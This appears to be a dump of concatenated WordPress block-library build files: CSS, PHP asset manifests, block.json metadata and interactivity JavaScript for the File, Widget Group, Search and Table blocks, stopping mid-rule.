.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-right:.75em;
}.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-left:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}<?php return array('dependencies' => array(), 'version' => '498971a8a9512421f3b5');
.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}import*as e from"@wordpress/interactivity";var t={d:(e,o)=>{for(var r in o)t.o(o,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:o[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const o=(e=>{var o={};return t.d(o,e),o})({store:()=>e.store}),r=e=>{let t;try{t=new window.ActiveXObject(e)}catch(e){t=void 0}return t};(0,o.store)("core/file",{state:{get hasPdfPreview(){return!(window.navigator.userAgent.indexOf("Mobi")>-1||window.navigator.userAgent.indexOf("Android")>-1||window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2||(window.ActiveXObject||"ActiveXObject"in window)&&!r("AcroPDF.PDF")&&!r("PDF.PdfCtrl"))}}},{lock:!0});.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-left:.75em;
}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-right:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-right:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}<?php return array('dependencies' => array(), 'version' => '9c04187f1796859989c3');
<?php
/**
 * Server-side rendering of the `core/widget-group` block.
 *
 * @package WordPress
 */

/**
 * Renders the 'core/widget-group' block.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content The block content.
 * @param WP_Block $block The block.
 *
 * @return string Rendered block.
 */
function render_block_core_widget_group( $attributes, $content, $block ) {
	global $wp_registered_sidebars, $_sidebar_being_rendered;

	if ( isset( $wp_registered_sidebars[ $_sidebar_being_rendered ] ) ) {
		$before_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['before_title'];
		$after_title  = $wp_registered_sidebars[ $_sidebar_being_rendered ]['after_title'];
	} else {
		$before_title = '<h2 class="widget-title">';
		$after_title  = '</h2>';
	}

	$html = '';

	if ( ! empty( $attributes['title'] ) ) {
		$html .= $before_title . esc_html( $attributes['title'] ) . $after_title;
	}

	$html .= '<div class="wp-widget-group__inner-blocks">';
	foreach ( $block->inner_blocks as $inner_block ) {
		$html .= $inner_block->render();
	}
	$html .= '</div>';

	return $html;
}

/**
 * Registers the 'core/widget-group' block.
 */
function register_block_core_widget_group() {
	register_block_type_from_metadata(
		__DIR__ . '/widget-group',
		array(
			'render_callback' => 'render_block_core_widget_group',
		)
	);
}

add_action( 'init', 'register_block_core_widget_group' );

/**
 * Make a note of the sidebar being rendered before WordPress starts rendering
 * it. This lets us get to the current sidebar in
 * render_block_core_widget_group().
 *
 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
 */
function note_sidebar_being_rendered( $index ) {
	global $_sidebar_being_rendered;
	$_sidebar_being_rendered = $index;
}
add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' );

/**
 * Clear whatever we set in note_sidebar_being_rendered() after WordPress
 * finishes rendering a sidebar.
 */
function discard_sidebar_being_rendered() {
	global $_sidebar_being_rendered;
	unset( $_sidebar_being_rendered );
}
add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/search",
	"title": "Search",
	"category": "widgets",
	"description": "Help visitors find your content.",
	"keywords": [ "find" ],
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		},
		"placeholder": {
			"type": "string",
			"default": "",
			"__experimentalRole": "content"
		},
		"width": {
			"type": "number"
		},
		"widthUnit": {
			"type": "string"
		},
		"buttonText": {
			"type": "string",
			"__experimentalRole": "content"
		},
		"buttonPosition": {
			"type": "string",
			"default": "button-outside"
		},
		"buttonUseIcon": {
			"type": "boolean",
			"default": false
		},
		"query": {
			"type": "object",
			"default": {}
		},
		"isSearchFieldHidden": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"align": [ "left", "center", "right" ],
		"color": {
			"gradients": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"interactivity": true,
		"typography": {
			"__experimentalSkipSerialization": true,
			"__experimentalSelector": ".wp-block-search__label, .wp-block-search__input, .wp-block-search__button",
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"width": true
			}
		},
		"html": false
	},
	"editorStyle": "wp-block-search-editor",
	"style": "wp-block-search"
}
import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// CONCATENATED MODULE: external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/search/view.js
/**
 * WordPress dependencies
 */

const {
  actions
} = (0,interactivity_namespaceObject.store)('core/search', {
  state: {
    get ariaLabel() {
      const {
        isSearchInputVisible,
        ariaLabelCollapsed,
        ariaLabelExpanded
      } = (0,interactivity_namespaceObject.getContext)();
      return isSearchInputVisible ? ariaLabelExpanded : ariaLabelCollapsed;
    },
    get ariaControls() {
      const {
        isSearchInputVisible,
        inputId
      } = (0,interactivity_namespaceObject.getContext)();
      return isSearchInputVisible ? null : inputId;
    },
    get type() {
      const {
        isSearchInputVisible
      } = (0,interactivity_namespaceObject.getContext)();
      return isSearchInputVisible ? 'submit' : 'button';
    },
    get tabindex() {
      const {
        isSearchInputVisible
      } = (0,interactivity_namespaceObject.getContext)();
      return isSearchInputVisible ? '0' : '-1';
    }
  },
  actions: {
    openSearchInput(event) {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (!ctx.isSearchInputVisible) {
        event.preventDefault();
        ctx.isSearchInputVisible = true;
        ref.parentElement.querySelector('input').focus();
      }
    },
    closeSearchInput() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      ctx.isSearchInputVisible = false;
    },
    handleSearchKeydown(event) {
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      // If Escape close the menu.
      if (event?.key === 'Escape') {
        actions.closeSearchInput();
        ref.querySelector('button').focus();
      }
    },
    handleSearchFocusout(event) {
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      // If focus is outside search form, and in the document, close menu
      // event.target === The element losing focus
      // event.relatedTarget === The element receiving focus (if any)
      // When focusout is outside the document,
      // `window.document.activeElement` doesn't change.
      if (!ref.contains(event.relatedTarget) && event.target !== window.document.activeElement) {
        actions.closeSearchInput();
      }
    }
  }
}, {
  lock: true
});

.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__components-button-group{margin-top:10px}.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search .wp-block-search__button{
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}
.wp-block-search__components-button-group{
  margin-top:10px;
}.wp-block-search__button{
  margin-left:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  -webkit-appearance:initial;
          appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  flex-shrink:0;
  margin-left:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{
  max-width:calc(100% - 100px);
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:right;
}.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{max-width:calc(100% - 100px)}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right}<?php return array('dependencies' => array(), 'version' => '2a0784014283afdd3c25');
.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__components-button-group{margin-top:10px}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}import*as e from"@wordpress/interactivity";var t={d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const n=(e=>{var n={};return t.d(n,e),n})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store}),{actions:r}=(0,n.store)("core/search",{state:{get ariaLabel(){const{isSearchInputVisible:e,ariaLabelCollapsed:t,ariaLabelExpanded:r}=(0,n.getContext)();return e?r:t},get ariaControls(){const{isSearchInputVisible:e,inputId:t}=(0,n.getContext)();return e?null:t},get type(){const{isSearchInputVisible:e}=(0,n.getContext)();return e?"submit":"button"},get tabindex(){const{isSearchInputVisible:e}=(0,n.getContext)();return e?"0":"-1"}},actions:{openSearchInput(e){const t=(0,n.getContext)(),{ref:r}=(0,n.getElement)();t.isSearchInputVisible||(e.preventDefault(),t.isSearchInputVisible=!0,r.parentElement.querySelector("input").focus())},closeSearchInput(){(0,n.getContext)().isSearchInputVisible=!1},handleSearchKeydown(e){const{ref:t}=(0,n.getElement)();"Escape"===e?.key&&(r.closeSearchInput(),t.querySelector("button").focus())},handleSearchFocusout(e){const{ref:t}=(0,n.getElement)();t.contains(e.relatedTarget)||e.target===window.document.activeElement||r.closeSearchInput()}}},{lock:!0});.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search .wp-block-search__button{
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}
.wp-block-search__components-button-group{
  margin-top:10px;
}.wp-block-search__button{margin-right:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-right:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{max-width:calc(100% - 100px)}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:left}.wp-block-search__button{
  margin-right:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  -webkit-appearance:initial;
          appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  flex-shrink:0;
  margin-right:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{
  max-width:calc(100% - 100px);
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:left;
}<?php return array('dependencies' => array(), 'version' => '765a40956d200c79d99e');
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/table",
	"title": "Table",
	"category": "text",
	"description": "Create structured content in rows and columns to display information.",
	"textdomain": "default",
	"attributes": {
		"hasFixedLayout": {
			"type": "boolean",
			"default": false
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption"
		},
		"head": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "thead tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"body": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tbody tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"foot": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tfoot tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"color": {
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"__experimentalSkipSerialization": true,
			"color": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"style": true,
				"width": true
			}
		},
		"__experimentalSelector": ".wp-block-table > table",
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{
			"name": "regular",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "stripes", "label": "Stripes" }
	],
	"editorStyle": "wp-block-table-editor",
	"style": "wp-block-table"
}
.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table figcaption{
  color:#ffffffa6;
}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table figcaption{
  color:#ffffffa6;
}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:#ffffffa6}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
